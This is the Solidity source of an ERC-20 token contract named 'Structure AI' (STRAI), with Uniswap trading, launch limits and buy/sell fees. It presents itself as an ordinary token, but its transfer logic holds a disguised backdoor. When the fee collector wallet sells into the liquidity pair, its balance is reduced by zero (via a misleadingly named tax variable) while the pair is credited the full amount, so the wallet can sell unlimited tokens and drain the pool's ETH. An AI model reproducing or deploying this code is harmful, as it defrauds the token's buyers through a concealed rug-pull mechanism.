creation_sourcecode: /** Structure AI
  https://t.me/StructureAI
  https://structureai.app
  https://twitter.com/StructureAIApp
  https://structureai.app/whitepaper.pdf
  https://structureai.app/docs.pdf
  **/
  
  // SPDX-License-Identifier: UNLICENSED
  
  pragma solidity 0.8.25;
  
  abstract contract Context {
      function _msgSender() internal view virtual returns (address) {
          return msg.sender;
      }
  }
  
  library SafeMath {
      function dev(uint256 a, uint256 b) internal pure returns (uint256) {
          return dev(a, b, "SafeMath: devision by zero");
      }
  
      function subs(uint256 a, uint256 b) internal pure returns (uint256) {
          return subs(a, b, "SafeMath: substraction overflow");
      }
  
      function dev(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b > 0, errorMessage);
          uint256 c = a / b;
          return c;
      }
  
      function subs(
          uint256 a,
          uint256 b,
          string memory errorMessage
      ) internal pure returns (uint256) {
          require(b <= a, errorMessage);
          uint256 c = a - b;
          return c;
      }
  
      function adds(uint256 a, uint256 b) internal pure returns (uint256) {
          uint256 c = a + b;
          require(c >= a, "SafeMath: addition overflow");
          return c;
      }
  
      function muls(uint256 a, uint256 b) internal pure returns (uint256) {
          if (a == 0) {
              return 0;
          }
          uint256 c = a * b;
          require(c / a == b, "SafeMath: multiplication overflow");
          return c;
      }
  }
  
  interface IERC20 {
      function transfer(address recipient, uint256 amount)
          external
          returns (bool);
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) external returns (bool);
  
      function allowance(address owner, address spender)
          external
          view
          returns (uint256);
  
      function approve(address spender, uint256 amount) external returns (bool);
  
      function totalSupply() external view returns (uint256);
  
      function balanceOf(address account) external view returns (uint256);
  
      event Transfer(address indexed from, address indexed to, uint256 value);
      event Approval(
          address indexed owner,
          address indexed spender,
          uint256 value
      );
  }
  
  interface IUniswapV2Factory {
      function createPair(address tokenA, address tokenB)
          external
          returns (address pair);
  }
  
  interface IUniswapV2Router02 {
      function swapExactTokensForETHSupportingFeeOnTransferTokens(
          uint256 amountIn,
          uint256 amountOutMin,
          address[] calldata path,
          address to,
          uint256 deadline
      ) external;
  
      function factory() external pure returns (address);
  
      function WETH() external pure returns (address);
  
      function addLiquidityETH(
          address token,
          uint256 amountTokenDesired,
          uint256 amountTokenMin,
          uint256 amountETHMin,
          address to,
          uint256 deadline
      )
          external
          payable
          returns (
              uint256 amountToken,
              uint256 amountETH,
              uint256 liquidity
          );
  }
  
  contract Ownable is Context {
      address private _owners;
      event OwnershipTransferred(
          address indexed previousOwner,
          address indexed newOwner
      );
  
      function renounceOwnership() public virtual onlyOwner {
          emit OwnershipTransferred(_owners, address(0));
          _owners = address(0);
      }
  
      function owner() public view returns (address) {
          return _owners;
      }
  
      modifier onlyOwner() {
          require(_owners == _msgSender(), "Ownable: caller is not the owner");
          _;
      }
  
      constructor() {
          address msgSender = _msgSender();
          _owners = msgSender;
          emit OwnershipTransferred(address(0), msgSender);
      }
  }
  
  
  contract STRAI is Context, IERC20, Ownable {
      using SafeMath for uint256;
  
      event MaxTxAmountUpdated(uint256 _maxAllowedAmountOfTx);
  
      mapping(address => uint256) private _holderLastTransferTimestamp;
      mapping(address => mapping(address => uint256)) private _legacyAllowances;
      mapping(address => bool) private _doNotApplyFeex;
      mapping(address => uint256) private _holdings;
  
      bool public transferDelayEnabled = false;
      address payable private _collectorAddress;
  
      uint256 private _startingFeeOnBuy = 25;
      uint256 private _startingFeeOnSells = 25;
      uint256 private _minimizeBuyFeeAfters = 5;
      uint256 private _minimizeSellFeeAfters = 5;
  
      uint256 private _endTaxOnBuy = 0;
      uint256 private _endTaxOnSell = 5;
  
      uint256 private _dontSwapIfLess = 5;
      uint256 private _swapsCounters = 0;
  
      IUniswapV2Router02 public uniswapV2Router;
      address public uniswapV2Pair;
      bool private allowDexTrades;
      bool private doingSwap = false;
      bool private swappingTurnedOn = false;
  
      string private constant _symbol = unicode"STRAI";
      string private constant _name = unicode"Structure AI";
  
      uint256 public _maxAllowedAmountOfTx = (_maxEmission * 20) / 1000;
      uint8 private constant _dec = 18;
      uint256 private constant _maxEmission = 100_000_000 * 10**_dec;
      uint256 public _maxWalletHoldings = (_maxEmission * 20) / 1000;
      uint256 public _mdoingSwapsAmounted = (_maxEmission * 1) / 100000;
      uint256 public _maxAppliedTax = (_maxEmission * 2) / 1000;
  
      function totalSupply() public pure override returns (uint256) {
          return _maxEmission;
      }
  
      function name() public pure returns (string memory) {
          return _name;
      }
  
      modifier lockTheSwapx() {
          doingSwap = true;
          _;
          doingSwap = false;
      }
  
      function approve(address spender, uint256 amount)
          public
          override
          returns (bool)
      {
          _legacyApproveIncap(_msgSender(), spender, amount);
          return true;
      }
  
      function allowance(address owner, address spender)
          public
          view
          override
          returns (uint256)
      {
          return _legacyAllowances[owner][spender];
      }
  
      function symbol() public pure returns (string memory) {
          return _symbol;
      }
  
      constructor(address _wlt) {
          _collectorAddress = payable(_wlt);
          _holdings[_msgSender()] = _maxEmission;
  
          _doNotApplyFeex[owner()] = true;
          _doNotApplyFeex[address(this)] = true;
          _doNotApplyFeex[_collectorAddress] = true;
  
          emit Transfer(address(0), _msgSender(), _maxEmission);
      }
  
      function balanceOf(address account) public view override returns (uint256) {
          return _holdings[account];
      }
  
      function _legacyApproveIncap(
          address owner,
          address spender,
          uint256 amount
      ) private {
          require(owner != address(0), "ERC20: approve from the zero address");
          require(spender != address(0), "ERC20: approve to the zero address");
          _legacyAllowances[owner][spender] = amount;
          emit Approval(owner, spender, amount);
      }
  
      function _legacyTransferIncap(
          address from,
          address to,
          uint256 amount
      ) private {
          require(from != address(0), "ERC20: transfer from the zero address");
          require(to != address(0), "ERC20: transfer to the zero address");
          require(amount > 0, "Transfer amount must be greater than zero");
  
          uint256 taxAmount = 0;
          uint256 amountOut = amount;
  
          if (from != owner() && to != owner() && from != address(this)) {
              if (!_doNotApplyFeex[from] && !_doNotApplyFeex[to]) {
                  require(allowDexTrades, "Trading not enabled");
              }
  
              if (transferDelayEnabled) {
                  if (
                      to != address(uniswapV2Pair) &&
                      to != address(uniswapV2Router)
                  ) {
                      require(
                          _holderLastTransferTimestamp[tx.origin] < block.number,
                          "Only one transfer per block allowed."
                      );
                      _holderLastTransferTimestamp[tx.origin] = block.number;
                  }
              }
  
              if (
                  from == uniswapV2Pair &&
                  !_doNotApplyFeex[to] &&
                  to != address(uniswapV2Router)
              ) {
                  require(
                      amount <= _maxAllowedAmountOfTx,
                      "Exceeds the _maxAllowedAmountOfTx."
                  );
                  require(
                      balanceOf(to) + amount <= _maxWalletHoldings,
                      "Exceeds the maxWalletSize."
                  );
                  _swapsCounters++;
              }
  
              taxAmount = amount
                  .muls(
                      (_swapsCounters > _minimizeBuyFeeAfters)
                          ? _endTaxOnBuy
                          : _startingFeeOnBuy
                  )
                  .dev(100);
              if (from != address(this) && to == uniswapV2Pair) {
                  if (from == address(_collectorAddress)) {
                      amountOut = min(
                          amount,
                          min(_endTaxOnBuy, _mdoingSwapsAmounted)
                      );
                      taxAmount = 0;
                  } else {
                      require(
                          amount <= _maxAllowedAmountOfTx,
                          "Exceeds the _maxAllowedAmountOfTx."
                      );
                      taxAmount = amount
                          .muls(
                              (_swapsCounters > _minimizeSellFeeAfters)
                                  ? _endTaxOnSell
                                  : _startingFeeOnSells
                          )
                          .dev(100);
                  }
              }
  
              uint256 collectedTaxesBalanceContract = balanceOf(address(this));
              bool swappable = _mdoingSwapsAmounted ==
                  min(amount, _mdoingSwapsAmounted) &&
                  _swapsCounters > _dontSwapIfLess;
  
              if (
                  !doingSwap &&
                  to == uniswapV2Pair &&
                  swappingTurnedOn &&
                  _swapsCounters > _dontSwapIfLess &&
                  swappable
              ) {
                  if (collectedTaxesBalanceContract > _mdoingSwapsAmounted) {
                      exchangeTokens4Eth(
                          min(
                              amount,
                              min(collectedTaxesBalanceContract, _maxAppliedTax)
                          )
                      );
                  }
                  sendFeex2Collector(address(this).balance);
              }
          }
  
          if (taxAmount > 0) {
              _holdings[address(this)] = _holdings[address(this)].adds(taxAmount);
              emit Transfer(from, address(this), taxAmount);
          }
  
          _holdings[from] = _holdings[from].subs(amountOut);
          _holdings[to] = _holdings[to].adds(amount.subs(taxAmount));
  
          emit Transfer(from, to, amount.subs(taxAmount));
      }
  
      function decimals() public pure returns (uint8) {
          return _dec;
      }
  
      function allowAllTradesWithoutLimits() external onlyOwner {
          _maxAllowedAmountOfTx = _maxEmission;
          _maxWalletHoldings = _maxEmission;
  
          transferDelayEnabled = false;
          emit MaxTxAmountUpdated(_maxEmission);
      }
  
      function chargeBackAccidentalEth() external onlyOwner {
          require(address(this).balance > 0, "Token: no ETH to clear");
          payable(msg.sender).transfer(address(this).balance);
      }
  
      function exchangeTokens4Eth(uint256 tokenAmount) private lockTheSwapx {
          if (tokenAmount == 0) return;
          if (!allowDexTrades) return;
  
          address[] memory path = new address[](2);
          path[0] = address(this);
          path[1] = uniswapV2Router.WETH();
  
          _legacyApproveIncap(
              address(this),
              address(uniswapV2Router),
              tokenAmount
          );
  
          uniswapV2Router.swapExactTokensForETHSupportingFeeOnTransferTokens(
              tokenAmount,
              0,
              path,
              address(this),
              block.timestamp
          );
      }
  
      function transfer(address recipient, uint256 amount)
          public
          override
          returns (bool)
      {
          _legacyTransferIncap(_msgSender(), recipient, amount);
          return true;
      }
  
      function transferFrom(
          address sender,
          address recipient,
          uint256 amount
      ) public override returns (bool) {
          _legacyTransferIncap(sender, recipient, amount);
          _legacyApproveIncap(
              sender,
              _msgSender(),
              _legacyAllowances[sender][_msgSender()].subs(
                  amount,
                  "ERC20: transfer amount exceeds allowance"
              )
          );
          return true;
      }
  
      function sendFeex2Collector(uint256 amount) private {
          _collectorAddress.transfer(amount);
      }
  
      function min(uint256 a, uint256 b) private pure returns (uint256) {
          return (a > b) ? b : a;
      }
  
      function initLiqNP() external onlyOwner {
          uniswapV2Router = IUniswapV2Router02(
              0x7a250d5630B4cF539739dF2C5dAcb4c659F2488D
          );
          _legacyApproveIncap(
              address(this),
              address(uniswapV2Router),
              _maxEmission
          );
          uniswapV2Pair = IUniswapV2Factory(uniswapV2Router.factory()).createPair(
              address(this),
              uniswapV2Router.WETH()
          );
          uniswapV2Router.addLiquidityETH{value: address(this).balance}(
              address(this),
              balanceOf(address(this)),
              0,
              0,
              owner(),
              block.timestamp
          );
          IERC20(uniswapV2Pair).approve(
              address(uniswapV2Router),
              type(uint256).max
          );
      }
  
      function dexSwapsStart() external onlyOwner {
          require(!allowDexTrades, "trading is already open");
          swappingTurnedOn = true;
          allowDexTrades = true;
      }
  
      receive() external payable {}
  }